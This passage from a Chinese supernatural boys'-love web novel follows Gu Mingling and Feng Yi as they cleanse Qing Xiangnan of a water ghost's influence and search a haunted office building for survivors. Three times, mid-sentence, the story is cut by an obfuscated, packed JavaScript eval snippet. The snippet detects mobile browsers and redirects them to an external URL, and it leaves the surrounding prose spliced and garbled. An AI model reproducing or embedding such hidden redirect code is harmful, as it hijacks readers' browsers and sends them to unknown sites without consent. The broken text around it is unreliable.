虽然一声声大师叫的顾铭凌感觉自己像个江湖骗子,但总归,他有了和卿向南面对面交流的机会。 “我最近觉得很奇怪。” 卿向南坐在顾铭凌面前,他微微鼓起的小腹很显眼,见顾铭凌看自己,不由得轻轻抚摸了一下小腹,告诉顾铭凌实话。 “是怀孕了噢,被老公弄大了肚子,最近肚子一天天大起来了,越来越不方便了。” 顾铭凌盯着卿向南的小腹,阴阳眼看见一团鬼气。 他没说话,更没表示出一点儿恭喜的意思,这样的态度令卿向南收敛了轻松的表情,有些谨慎地开口。 “大师……我觉得……我老公不对劲……” 他声音压得很低,像是一个饱受困扰的新婚妻子,抚着已经鼓起的小腹,找到隔壁邻居,低声诉说自己对丈夫的怀疑,寻求邻居的帮助。 “他好像不是我真正的老公一样,虽然有时候也还算听话,可我最近都有被鬼压床的感觉。” 鬼压床。 顾铭凌自然不会忘记,卿向南之前也跟他提过鬼压床。 “很奇怪,我总感觉我以前也经历过,但最近几天的很不一样,压住我的鬼,真的很……” 卿向南张了张嘴,找了个比较内敛的形容词,“变态。” “而且有越来越变态的趋势了。” 他说,“我总是觉得很难受,每天醒来,浑身都不舒服,晚上睡觉的时候动都动不了。” “就算很难受了,也连动一下眼珠都做不到。” 顾铭凌说,“你家里确实在闹鬼。” 卿向南有些害怕地看了一眼身后,“我也、我也觉得……真的挺害怕的,我是想搬家的,所以暂时回了家里住,但是没想到回了家里以后,那鬼还是死活赶不走,而且我——” “你真的回家了吗?” 顾铭凌说,“从我们刚才见面到现在,只隔了三个小时,但是在你口中却好像过了几天,仔细想想看,你如果回家了,对门怎么会仍然是我?” 卿向南被吓得脸色一白,“我不知道为什么,我好像没察觉到这些问题……” 他慌忙抓住顾铭凌的手,“求求你了,你帮帮我好不好?” 卿向南一股脑儿地把自己的难受说了出来。 “我每天都很想吐,肚子也很难受,嗓子也不舒服,有时候连舌头都酸酸痛痛的。” 当然会难受了,毕竟你被灌了一肚子鬼气。 顾铭凌没把心里的话直接说出来,他觉得卿向南胆子很小,不确定直接说出口会不会吓到卿向南。 而且,他心底稍微有些不那么畅快,甚至听着卿向南的描述,忍不住直皱眉。 “每天晚上,一睡着了就这样?” “给我看看……” 顾铭凌沉默,然后声音有点儿硬地质问,“你就这么任由那东西……” 话一出口,又吞了回去,拧眉将一张符纸塞进卿向南口中,“咽下去。” 卿向南被噎了一下,想咽下去,可是干巴巴的符纸黏在舌头上,他很艰难地分几次吞了下去。 这一吞下去,整个人就开始难受,一下子趴在地上,指尖按着肚子发颤。 可大概因为被灌了过量的鬼气,即使变成这样,汗珠都顺着脖颈滴落了,卿向南的小腹仍然是鼓起的。 顾铭凌便捏着卿向南的下巴,让他伸出舌头,接着咬破中指,指腹在卿向南舌上快速地画下符文。 温热的鲜血带着腥气,卿向南不太习惯,却也只能尽力配合。 直到符文画完以后,卿向南的腮帮子都有些发酸,顾铭凌的鲜血沿着喉头流入,立时与他腹中的鬼水打作一团。 “好、好奇怪……”一张口就吐出来一股清液,但因为腹中太多,很快又从别的地方涌了出来。 止不住地滴,因为吐出清水,鼻尖和眼眶都红了,眼睫上挂着生理性的眼泪。 顾铭凌根本没留手,甚至扶着卿向南站直,手掌压在卿向南小腹上,掌心的纹印发亮,烫得卿向南腰身发颤,下意识想躲,只被顾铭凌按住,冷声道:“忍着,全部排干净。” 卿向南双腿抖如筛糠,根本站不直,水一直湿到裤脚,地面上一大摊水痕,诡异的是,那些水却没有冲卦象缝隙里填满的鲜血,甚至在接触到阵法的瞬间快速蒸发,发出噼里啪啦的声响。 卿向南睁大了眼睛,他已经不再吐了,小腹一点点儿恢复原状,只是湿了一条裤子,被顾铭凌抱着,没出息地小声说,“我好像小腿抽筋了。” 他这么怕鬼的人,真发现自己肚子里的水都是有问题的以后,明明害怕到小腿都抽筋了,竟然还要臭美。 “我就说,我不可能肚子突然变得圆鼓鼓……” “还骗我是怀孕了,我根本一点印象没有嘛……” 卿向南啪嗒啪嗒掉了两颗眼泪。 “今晚怎么办呀,我能现在就逃走吗。” 卿向南说,“我怎么会跟鬼待了那么久啊?” 他的大脑里,本来的记忆也开始渐渐浮现,一时间意识到烙成大概早已经不是人了,更觉得心慌难受。 【系统,烙成为什么会这么快就炮灰了啊。】 系统语气平静。 【男主给了他点颜色瞧瞧,所以他就这样了。】 一句话几乎没什么含金量,但卿向南get到了自认为的关键。 【我把他害死了,所以他变成鬼都要来折磨我。】 【那倒也不是……】 系统安慰道。 【这种小的剧情波动无伤大雅,当然我也没想到男主对烙成下手这么狠,虽然不是直接出手,但烙成也算是因为他吃了更多的苦头。】 【也是倒霉,遇上水鬼,但怎么都算是原定剧情里融合了鬼的人,不会轻易像其他人一样被吞噬,虽然已经死了,不过一部分意识还是在按照本能行动的。】 系统聊家常一般说。 【哦,对了,我看水鬼也用了池练诗的脸,你的练诗哥哥想必也领了便当了。】 【你怎么能用这样的语气说出这种消息!】 卿向南很崩溃,涨红了脸。 【我感觉我真的坚持不到最后了,这样下去你不如真的让我死了算了。】 系统不说话了,卿向南以为系统跑了,一个人恼羞成怒地把裤子狠狠拽下来扔到地上,拿了顾铭凌递给他的外袍裹在腰间。 正低头打结,听见系统轻咳一声。 【以后给宿主删掉这类型的题材,这样总算满意了吧?】 【这还差不多。】 卿向南放下心来,很大方地表示。 【我忽然觉得我又能坚持到这个世界结束了。】 系统沉默两秒,忍不住道。 【那小卿真是好勇敢,好伟大的一个宿主。】 卿向南没回他,扭头去跟顾铭凌搭话。 “你居然可以凭空点火,这是什么招数,也教教我吧。” 他看着顾铭凌帮他把裤子重新处理干净,非常大方地表示,“你救了我,闻时秋肯定会感谢你的。” 顾铭凌手指一僵,语气略微冷淡地拒绝,“用不着他谢我。” “那好吧,”卿向南很有点儿惋惜地说,“其实我老公对我可好了,他肯定会很大方地感谢你的。” 顾铭凌没再回复他,卿向南有点儿自讨没趣,瘪了一下嘴,缩在顾铭凌身后蹲着。 裤子重新变得干净整洁以后,顾铭凌把它塞进卿向南怀里,让卿向南快点换好。 卿向南弯腰换裤子的时候,身后却正好有人推门而入,他一个紧张,心跳得很快,以为来人是水鬼,却没想到对方比他还快地关上了门。 砰的一声,这样的动静,足够把一层楼的鬼都招来了。 顾铭凌转头,看见卿向南一脸无辜,不由得又把头转回去。 “快点穿好,磨磨蹭蹭到底是在干什么?” 卿向南噢了一声。 呜呜,这个世界上果然只有老公不会吼他。 · 冯义处理掉楼道走出来以后,竟然迎面撞上一群人,正是各个面色惊惶的幸存者。 他于是一人给发了一个眼罩,先亮出自己的身份,让他们相信自己是真正的冯义,又确认这些人没有接触过任何水,这才让他们戴上眼罩站好,然后把人收入了画里。 鬼画一般不收活人,只载入鬼形,但有了顾铭凌的阳血符,暂时收入活人是没问题的,等到处理完那只水鬼离开鬼蜮以后,他自然就可以把这些人安全放出。 鬼画上瞬间出现十来个蒙着眼睛的人,因为蒙着眼睛,他们也发现不了自己已在画中,更不会看到周围的其他小鬼。冯义只觉得任务总算有所推进,如今解决完幽深的楼道,正是和顾铭凌汇合的时候。 结果他万没想到,找过来的时候,一打开门,能够看见这样的场景。 雪白柔软的,中心沁着粉红。 让他无法控制地想起误看队长漫画的那一刻,整个人面色发白,砰地关上门时,只觉得比见了鬼还要可怕。 他根本无从下手,完全不知道自己该做出什么表情。 甚至于只是看了个辟谷,还没看见人脸,他都知道那是谁! 卿向南!怎么这里也有卿向南! 那可怕的,传播极快的男同病毒如此可怕,卿向南站在那里,他就感觉自己已经在被侵蚀感染。 他现在还看了卿向南的辟谷! 救命!这辈子难道就这样弯了吗!他好好的直着从老家出来,却要弯着回去,以后回老家就会被人戳脊梁骨,被老人拿来教育小孩说,你看那个哥哥,出去了不学好,好好的直男回来就已经弯成蚊香了,这辈子都废了! 一旦变成男同,这辈子也就到头了! 你脑子里幻想自己和喜欢的人相处的场景时脑子里只会出现男人,幻想和喜欢的人结婚时不管幻想的是婚纱还是红嫁衣,但是穿着它们的都会变成男人。 你甚至会对着一个男人硬,汗流浃背地问可不可以再来一次。 他的人生就要这样毁了! 为什么!为什么走到哪里都躲不开卿向南,为什么卿向南这么可怕,如影随形地追着他,侵蚀他,腐化他,把他强行扭弯! 冯义站在门前,脸色很不好看。 他还没有做好心理准备,面前的门已经被卿向南打开,冯义心脏狂跳,十二万分警惕地盯着卿向南,只见对方张开嘴巴,马上就要说出很恐怖的话。 ——“老公。” 冯义感觉自己有点头晕,昏了一瞬,才听清楚卿向南根本没喊老公。 甚至还在说他。 “你干嘛不敲门就进来啊。” 冯义想辩解,可是根本不知道如何反驳,甚至心里感觉卿向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985800|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南说的有道理,无形中他心里的小人又矮了卿向南一头,垂头丧气地低着脑袋挨训。 “很吓人的诶,我还以为进来的是水鬼呢。” 冯义道歉了,“对不起。” 他觉得很可怕。 他现在居然还在给卿向南道歉,他真的不敢想,等到他真正变成男同以后,他会有多么灰暗可怕的日子。 看男同漫画的队长,又会多么可怕的嘲笑他。 前途真是一片灰暗。 冯义神思恍惚地走进屋子,坐下,机械性地开口。 “啊,没事……我上来的时候没发现水鬼,他应该在其他楼层的。” 卿向南松了口气。 “早上看他走了的时候我假装没醒,然后才偷偷来找顾铭凌的,一直担心他什么时候回来,没想到现在还没有回这一层呢。” 冯义说,“这样啊……看来情况有变。” 心里却在不断重复卿向南的话。 ——“看他走了假装没醒”…… 这是什么意思……这是说卿向南和水鬼住在一起吗?甚至可能一起睡觉…… 原来当鬼也逃不了变成男同的命运吗…… 连那种穷凶极恶的鬼都可以腐化掉……我没能防范住应该很正常吧……我已经……尽力了……拼尽全力……无法战胜…… 卿向南担忧地走到冯义身边,伸手拍了拍他的肩膀。 冯义一个激灵坐直了身子,看他这样,卿向南眼中流露出怜悯。 “他好像被鬼吓傻了。” 顾铭凌看了一眼冯义,忽然坐过来,一只手搭在冯义肩膀上。 “抱歉。” 冯义有些不解。 “之前我对你……有所误解,现在看来,其中有误会。” 冯义回,“没事,有时候一些事确实容易让人误解。” 他还在被卿向南拍那一下里面走不出来。 他太傻了,真的。 他单以为和卿向南住一个宿舍可怕,可没想到搬家出来还能跟卿向南当邻居。 当了邻居也就算了,更没想到,上学路上,还能和卿向南遇到一起。 他于是傻傻地以为,自己果然还是开始工作比较靠谱,至少开始捉鬼以后,就不会遇到卿向南了。 甚至还特意确认过卿向南不会出门。 可现在,他看到了什么? 卿向南甚至就坐在他身边。 甚至还用手拍他。 他又和卿向南亲密接触了。 他这辈子都毁了!彻底完蛋了! · 写字楼二层,满是苔藓的地面上忽然出现一团团血迹。 那些血凭空出现,很快出现一张人脸。 水鬼极为恼怒地看着眼前这个不速之客,一个没有收到邀请函的家伙居然如此胆大妄为地进入鬼蜮,真是不知死活。 对方的眼神却比他更冷,见到他出现,只一掀眼帘,声寒如霜。 “终于舍得滚出来了。” 水鬼冷笑一声,“你很狂。” “狂吗?我不觉得,”闻时秋并不会露出偏激的表情,他只是冷下脸来,就让人有些胆怯,“你倒是有胆子,从我眼皮子底下带走小卿。” “希望你的实力配得上你这样天大的胆子,小鬼。” · 卿向南忽然想起早上的那个电话,啊了一声。 “我之前的一天早上有打电话出去,但是因为记忆太模糊了,我还以为是我的幻觉,而且是从水鬼穿着的衣服里掏出来的手机,”卿向南有些不确定地说,“之前我也有用别人的电话打给闻时秋,可是电话根本没有拨出去,电话那头也只是很诡异的滴水声。” “那你早上的电话,打出去了吗?” “好像打出去了,当时我没有什么记忆,没有认出来闻时秋,但是确实,电话那头是他的声音,他问我我在哪里。” “你怎么说的?” 卿向南脸红了,磕磕绊绊地复述了自己当时的回答。 “我说,我在一个昨天还很干净的房间里,今天房间里好多水。” 好吧,说出口以后自己也知道全都是没什么用的信息了。 顾铭凌沉默以对,冯义觉得氛围不太好,硬着头皮夸了一句。 “没事的,能说出这些信息已经很厉害了。” 卿向南脸红无比,找补道,“说不定他和我有默契呢,就是那种什么心灵感应,你们也知道的啦,心有灵犀一点通什么的!可能我打电话的时候已经用脑电波把位置准确地发给他了。” 顾铭凌已经闭上了眼睛,无话可说。 冯义汗流浃背地点头,“也、也不是没可能。” “算了,别继续哄着他了,闻时秋这要是都能找到卿向南在哪里,我的名字可以倒过来写了。” 顾铭凌站起来,“但是他肯定进入了写字楼,而且现在大概率已经和水鬼撞上了,不然水鬼不至于这么长时间都没有出现。” 这段时间他看得明明白白,水鬼几乎整天和卿向南待在一起,连楼里其他的人都没管,甚至他第一眼和水鬼碰上的时候,水鬼也因为卿向南匆匆离去。 “趁这个机会,我们先找齐其他人,确保他们不会乱跑把自己害死,然后再支援闻时秋,把水鬼处理掉,之后大家皆大欢喜,各自回家就好。” 顾铭凌看了卿向南一眼。 “当然,我们三个顺路,我想卿向南应该是不介意让你老公顺便把我们带回去的,是不是?” “当然啊,我哪里会那么小气!” 卿向南说,“事不宜迟,现在就快点去找人吧。” 18. 老公理论 卿向南这句话说的还挺大方,只要能出鬼蜮,让闻时秋顺带开车把顾铭凌和冯义带回家去完全没有问题。 只冯义内心震撼,立刻婉拒,“我自己回家就挺好。” “诶呀,你打车多麻烦呀,还不知道出去了是几点呢,”卿向南对着冯义勾肩搭背,根本不管冯义浑身僵硬,只觉得冯义内向,“没事的闻时秋车子超大的完全塞得下你们。” 顾铭凌打断道,“好了,先找一下其他人吧,卿向南你进来以后有遇到别的人吗?” “一开始在天台上的时候遇到了几个男生,中途听见冯义的声音以后他们就按照声音的指示下楼了,我下来以后也没有见到他们,不知道他们现在在哪里,情况怎么样。” 【大抵是死了。】 系统道。 顾铭凌默了一瞬,“看来水鬼不但能够伪装成活人,还能模仿声音,我们猜测的确实没错,从鬼蜮展开之前它就已经在设局了,烙成在那个时候就已经不是本人了。” 冯义也面露警惕,“这种级别的鬼有些太聪明了,我也没有想到水鬼还具有伪装模仿的能力。” “出去以后得查一下烙成的情况,看看他大概是在什么时候死的,之前搜寻水鬼相关死者的时候根本没有任何和他有关的信息。” 卿向南呆住,“烙成死了?” 他简直不敢置信,从一开始他就知道烙成算是闻时秋的一个小对手,而且也不可能在这么早就领便当,所以他见到烙成的时候挺放心的。 但是现在顾铭凌和冯义告诉他烙成死了。 【这不对吧,系统,剧情怎么会变成这样。】 卿向南一时间有些忧心忡忡,又觉得烙成好可怜,领便当领得这么快。 他满腹疑惑。 【怎么便当领的比池练诗还快啊。】 系统冷冰冰道。 【是这样的,主角发挥了一点儿主观能动性。】 看卿向南没反应过来,于是系统换了个说法。 【有时候剧情就是会有一定范围的波动的,这很正常。】 卿向南有点内疚,内心的小人坐起来给了自己一巴掌。 【我不该在他背后蝈蝈他的,我还说讨厌死他了,结果他真的死了呜呜……】 【而且之前我还骂他恶心死了,现在他真的死了,是不是被我咒的啊?】 【救命啊他以后会不会变成鬼来找我索命啊?】 【不会的。】 卿向南放下心来。 【真的吗?系统你真好——】 系统说。 【毕竟已经在找你了。】 卿向南面露苦涩。 【哈哈,我就说怎么那么怪呢,怎么都死了还这么认真地贯彻配角人设给主角添堵啊这些人,是不是太敬业了啊,他没有这个剧情的啊。】 顾铭凌看卿向南脸色变来变去,终于忍不住屈指轻敲了一下他的额头,“回神,在想什么?” “在想水鬼的事。” “哦?你有什么发现吗?”考虑到卿向南和水鬼接触时间最长,而且根据他的自述,他是突然进入鬼蜮的,所以卿向南这边的信息也相当重要,顾铭凌和冯义都聚精会神地看着卿向南,期待他说出什么发现。 谁知卿向南有点儿苦恼地开口,“那个……我是不是很万人迷啊?” ? 冯义心头一紧,顾铭凌也是闭上了嘴巴,哑口无言。 “就是,真的是人是鬼都会喜欢我吗?呃,你也知道的这几天——” “可以不用详细说的,你直接说重点。” “就是我感觉水鬼没理由见到我就爱上我了,虽然我可能是有点儿挺迷人的,”卿向南脸红了一下,继续说,“但是他看起来又不太像烙成,烙成应该不是喜欢杀人的那种东西。” 卿向南说,“我感觉它像是把烙成的一部分融合到它身上了,因为它一直顶着烙成的脸。” 顾铭凌忽然说出一个日期,然后问道,“这天你有没有遇到什么异常?或者你觉得稍微特别点儿的地方?再或者这天以后有没有发现什么问题?” 他说的正是在走廊上发现水痕那天,他这么一问,卿向南倒是立刻反应了过来,说有。 “我那天好像做了个梦,但是我完全不记得梦的内容了,但是那个时候水鬼应该没有进来我家里吧,毕竟当时我靠着我老公在睡觉呢,他那么厉害,要是水鬼进来了肯定会发现的。” 卿向南想了想,仔细说了说自己遇到的所有奇怪的事情,甚至包括奇怪的水。 “这么说它早就盯上你了,所以你即使没有收到邀请函也还是进来了这里,但一开始它花了很多时间耐心等待,你身上有什么特别的东西吗?” “这个算吗?”卿向南举起了手腕,上面正是闻时秋送给他的铃铛手环。 顾铭凌仔细触摸查看,终于意识到它的不同寻常。 他之前看到这个手链时并没有仔细分别上面的鬼气种类,因为卿向南浑身都沾染着水鬼的鬼气,现在仔细查看,才发现它大概率属于前段时间被攻破的鬼婚主人,那位鬼新娘。 冯义也道:“之前我也察觉到了这个,但是这样看来,它确实是很了不得的东西,一般情况下你应该会理智全无,完全被水鬼洗脑,更别说偷偷来找顾铭凌了。” 他们这么谈话的间隙,阵法已经完全成型,罗盘凹槽被顾铭凌的鲜血完全填充,血液完全干涸,一簇火兀的在中央腾空点燃。 “我们有三个小时来找到其他幸存者,按照你的说法,这层楼以上的地方已经不必再搜寻了,我们直接一层层往下找吧。” · 谷晓露躲在长桌下不敢露头,从跟着其他人进入这个房间的瞬间,房屋里的消防喷头忽然全部打开,她瞬间想到顾铭凌和冯义的叮嘱,连忙抱头钻进了长桌下,但其他人就没有她这么好运,因此她在其他人反应过来之前狠心将桌下的椅子面朝外堆起,防止被淋了一身水的人挤进来让她也沾到雨水。 一开始她还心悸不已,为自己“自私”的举动内疚煎熬,但很快,当她听到外面的惨叫,以及从缝隙里看见其他尝试躲开如雨水幕的人忽然身体抽搐着融化时便再不敢看,只是闭着眼睛催眠自己什么都没有发生这只是一场密室逃脱。 她记得很清楚,不要崩溃,要等着那两个好像是来自什么部门的工作人员救他们出去。 只是后来花洒忽然瞬间停了,外面的惨叫崩溃声也慢慢变成了因为身体痛苦而发出的呻吟,谷晓露有些困惑,但仍然蹲在桌子下没有钻出去。 她不太清楚为什么这场对于水鬼来说单方面的虐杀会中止,也担心这是一场阴谋。 但之后好几天,这里再没有什么别的动静了,谷晓露一开始还因为饥寒交迫而感到痛苦焦虑,但在只过了几天,她忽然意识到时间并不一定真如她感受到的那般变化。 因为她并没有真的被饿死或者渴死,她只是感受到了水鬼希望她感受到的痛苦和绝望,思考清楚这一点以后,独属于女人的强大的忍耐能力使得她继续保持了自己的理智,仍然没有从桌子底下钻出来。 只在这个时候,她听到了一个非常好听的男声,对方有些困惑地说,“怎么这里全是水啊?这真的能过去吗?” 是幻觉吗?还是水鬼又一次骗人的剂量? 她还在犹豫,就听到对方下一句话。 “真的吗?可是我老公在的话他应该会抱我过去的……实在不行背我也可以啊……” 谷晓露有些迟疑地想。 ——这么说话,应该不是鬼吧? 就算要骗人,也不至于搞这种台词的。 而就在离她所在房间二十米远的地方,卿向南皱着眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985801|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,看着被黑水淹没,几乎深不见底的走廊。 这里完全没有落脚的地方,只要走上去就一定会踩到黑水,说不定还会被水淹没。 “你现在站在最后一级台阶上,黑水其实只淹没了一厘米,走过去完全不必担心,只是视觉效果让你觉得这下面全都被淹没了。” 冯义也补充道,“这也算是恐怖片常见的剧情桥段,通过幻觉让你以为下面是一条死路,逼迫你原路返回,等你返回以后又会被对方告知其实你刚才已经接近真正出去的路了,鬼很喜欢看见人崩溃恐惧死去的样子。” “可是我跟你们不一样啊,万一我走你们后面被落脚时踩起来的水花溅到身上该怎么办啊?” 冯义迟疑着张口,打算说那好吧,我背你。 谁知顾铭凌已经走下去,踩在黑水里,略微屈膝,“好,上来吧,大少爷,背你就是了。” 卿向南立刻喜怒形于色地笑了,趴到顾铭凌背上,抱着顾铭凌的脖子,“太好了!学神学神,我老公一定会感谢你的。” 顾铭凌头也没回地往前走,“谁要闻时秋感谢?什么都老公长老公短的,你是不是有点儿……” 顾铭凌略微皱眉,声音压低了点儿,“太爱撒娇了。” 卿向南耳尖一烫,“有,有吗?” “我、我只是担心万一我又被水鬼弄成奇奇怪怪的样子拖累你们……因为你们都蛮厉害的,肯定不喜欢被人拖累吧,而且以前就听说你最讨厌拖后腿的人,所以就算现在很麻烦你,但是也比我弄出问题来拖你们后腿好……” “听说你最讨厌拖后腿的人”这半句话完全是乱编的,卿向南压根儿没听说过,也并没有特别关注过顾铭凌。 整句话说起来甚至有点儿装可怜的意思,搂着顾铭凌脖子的手臂也小心紧张起来。 顾铭凌眉峰轻抬,“原来我还有这种传闻?” 再开口,语气已经放柔和了些,“没说你累赘,这不是已经在背着你了?” “哦哦。” 卿向南心安理得了一点儿,忽然又觉得刚才顾铭凌那段话里有地方需要更正。 于是他小声地在顾铭凌耳边说,“我也没有很爱叫老公啦。” “而且,要是有你喜欢的人天天叫你老公的话,你应该也会和闻时秋一样很喜欢的吧?你现在听了觉得太频繁,但要是换成有人这样喊你,你应该就不会觉得烦了,你以后经历了就知道啦。” 这话说的很有点儿你不懂,我懂,我是过来人的语气。 搞得顾铭凌忍不住抬眉,“是吗?那你叫我一声,我感受一下?” 他只是随口一说,却不想卿向南凑近他的耳朵,很小声地喊,“老公。” 接着,像是预备看顾铭凌被打脸一样地,抿唇压住笑,轻声问,“是不是也蛮喜欢?” 顾铭凌一时间,连张嘴都忘了。 卿向南却还在继续说话。 “而且,喜欢喊老公也是因为,变成我老公了的话,我就可以理直气壮地用老公的钱,让老公给我干活了,不是老公的话是没办法让别人帮忙的,除了爸爸妈妈,能使唤的人只有老公啦。” 他好像不觉得自己用使唤两个字有什么不对。 顾铭凌忍不住想。 从某个角度来看,卿向南其实性格有点儿小坏的,像小恶魔。 但是……因为长得确实也还蛮漂亮,人也蛮可爱的。 所以又让人觉得,他好像性格不坏。 因为这点儿性格,简直让人忍不住上钩。 顾铭凌指尖有些紧绷,背着卿向南,一个字没说。 卿向南有些挫败了。 “诶呀,你好像完全不懂嘛。” “我当然不懂你这些歪理。” 顾铭凌道,“你还是等见了闻时秋以后,再老公长老公短地喊个尽兴吧。” 19. 开! 说是要寻找幸存者,但显然他们不能直接挨个把门打开看里面的情况。 原因很简单,他们不知道门后到底有什么,打开以后里面等着的是幸存者还好,如果是一屋子水又或者尸仆那就会变得很麻烦了。 尽管现在因为顾铭凌的阵法,这栋写字楼里的普通鬼物受到了一定限制,水鬼也被压制无法逃跑,但在鬼蜮里想当然的行动总是充满风险的。 故而他们走了一段路以后便停下,冯义挽起袖子,将手贴在墙面上,鬼画受水鬼克制,但也为水鬼所助,因为画会被水泡烂,但作画的墨却需要加水化开。 因此冯义的手掌按在墙面上以后,手臂上的皮肤便瞬间脱落,悬空而上,像一幅人皮画卷般展开,覆盖了整个天花板。 剥皮的痛感和失去皮肤覆盖的血肉接触空气的刺痛感令人难以忍受,但冯义已经越来越习惯这种折磨,只是脸色有些发白。 画卷展开,越来越薄,几乎融入天花板,每个房间的画像投射到画卷上,忽然画面渗血,冯义明白是画里有幸存者不听话揭开了眼睛上的罩子,他不可能现在停下只能祈祷其他人听话,别引起太大的骚乱。 毕竟鬼画中记录了无数恶鬼食人,鬼魅互害的场景,更有不少他亲历过被封入画中的鬼,这些人如果闭上眼睛,只会静静待在画的一角,但如果自己取下来,那么他们不但会发现自己进入了画中,变成薄薄一张纸上的图画,更会因为和鬼画中的其他画对上视线,而被迫融入画中,抑或者直接被吓死。 忽然,冯义停住,仔细感受某个房间的情况。 “这里面的幸存者有不少是受伤状态,桌子下面还躲着一个人,看她的状况,不知道会不会相信我们,从房间里出来跟我们离开。” “先去接应试试看吧。” “也只能这样了。”冯义查探完了整层楼的情况,收回画卷,往幸存者情况最危急的房间走去。 因为鬼画倘若想要纳入人类,只能选择让对方自愿进入或者杀死对方,冯义当然不可能选择前者,但把所有人都带在身后跟着走也是完全不现实的。 打开门前,冯义先看了卿向南一眼,“要不然你先把眼睛闭上?” 他话音刚落,卿向南就捂住了自己的眼睛,连连嗯声应好。 于是冯义这才推开门,门内的景象算得上血腥,许多人躺在地上,不少人的伤口已经化脓感染,被腐蚀的断面坑坑洼洼,常理下他们应该会全军覆没,但显然,当时水鬼忽然停下了动作,此后再也没有来收走这些人的性命。 顾铭凌和冯义心知肚明,这算是卿向南的“功劳”,谁能想到一个鬼也会被卿向南整得连杀人都抽不开身,竟然给其他人留下了喘息的机会。 躺在地上的那些人忙不迭地配合冯义戴上眼罩进入了鬼画,顾铭凌背着卿向南不好蹲下,于是冯义又去把凳子移开,看着躲在里面的女人,尽可能诚恳地表明自己的身份希望获得女人的信任。 “我跟你们走,”不等冯义说完,女人就从桌子下钻了出来,“我确实担心过你们是不是鬼假扮的,因为那个东西已经不是第一次欺骗我们了,但是……” 她想了想,还是决定不把自己之前听到的内容说出来,“但是我觉得你们挺像人的。” 【这人可真人啊,是这个意思吧系统。】 卿向南捂着眼睛,不清楚房间里的情况,不过他也完全不想知道。 【看得出来宿主进步很大,已经可以在这种房间里玩梗了。】 系统夸赞道。 【完全是进步之星啊宿主!以后的任务想必也是手拿把掐,全在你的掌控之中了!】 收走了这个房间里的幸存者以后,三个人又继续往下探索,寻常尸仆陷阱自然困不住顾铭凌和冯义,冯义一边收人,一边总结水鬼的情况。 “他可以冒充其他人,或许和水可以当作镜子来用有关?” “但是镜像和本人还是有差别的吧,外貌上肯定是反过来的,”经常照镜子的小卿开始发言,“我看烙成和记忆中简直一模一样诶,倒是性格有点儿不同。” 他这句话提醒了顾铭凌和冯义,两个人不由得有些心惊。 他们知道现实和另一个世界不断发生重叠,因此这些鬼才得以出现,但是它们的存在却有一定限制,即使是普通人也可能在掌握某些规则加以运气够好的情况下有极小概率活着出来,更有他们这样可以和某些鬼融合而利用鬼去杀鬼的存在。换句话说这些鬼蜮实在像一个个副本,而这些鬼所拥有的特性也一定都和他们的名字有关,这是目前为止一直被应验着的规律。 也就是说,水鬼的模仿能力不是自己有的,按照最坏的情况来说,水鬼已经融合了第二个鬼。 “它最可能融合的……是具有模仿能力的鬼,甚至可以以假乱真,以假乱真到进入闻时秋的房间都不被发现,和我们近距离接触也不会被发现,天底下哪里有这么厉害的鬼?” 顾铭凌皱眉,他不相信有鬼能够逃过万鬼窟的感知,即使那是个擅长伪装的鬼。 “应该是很强力的伪装能力,不发动攻击就无法被察觉的那种。”冯义不知道万鬼窟的存在,更不知道只要感知到鬼万鬼窟就会迫不及待地想要吞噬对方,他此刻额头冒出几颗冷汗,几次请人入画已经让他整条手臂火辣辣地刺痛起来,千万根长针深深扎入般难受。 正低着头查阅鬼画上的名字确认还有多少幸存者可以寻找时,却被卿向南拿纸擦了擦额头,“所以说等下出去以后和我们一起回家啦,你看你都累成这样了,再自己打车回家多可怜。” 这倒是第一次有人用可怜来形容他,冯义不知道怎么回答,只能说,“没事,这都是应该做的。” 他展开地图,“还剩下几个人活着,找到他们就可以跟闻时秋汇合了,你也能见到、呃,你老公了……” 卿向南忍不住看顾铭凌一眼,那眼神仿佛在说——你看,只有你一个人介意我喊老公,人家冯义就完全不觉得有什么问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985802|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾铭凌懒得辩解,只当卿向南赢了。 他们继续往下走,忽然脚底踩到什么,卿向南抬脚,只觉得鞋底黏黏的,低头只看见血丝一样的网膜覆盖了整个地面,甚至沿着墙壁往上爬。 刚才这里还不是这样的,这只能说明下方的情况不容乐观。 顾铭凌表情变了变,询问冯义:“先去和闻时秋汇合?” 他看起来只是和冯义商量,但到底也有考虑到卿向南的意思。 这种情况只能说明战斗越发激烈,而黏腻血丝的出现更验证了他们的猜想,水鬼果然已经融合吞并了另一只鬼。 这样大面积的覆盖速度只能说明水鬼已经使出全力,卿向南大概一刻也等不了了。 谁知冯义正要点头,卿向南却说,“还是先去救其他人吧。” 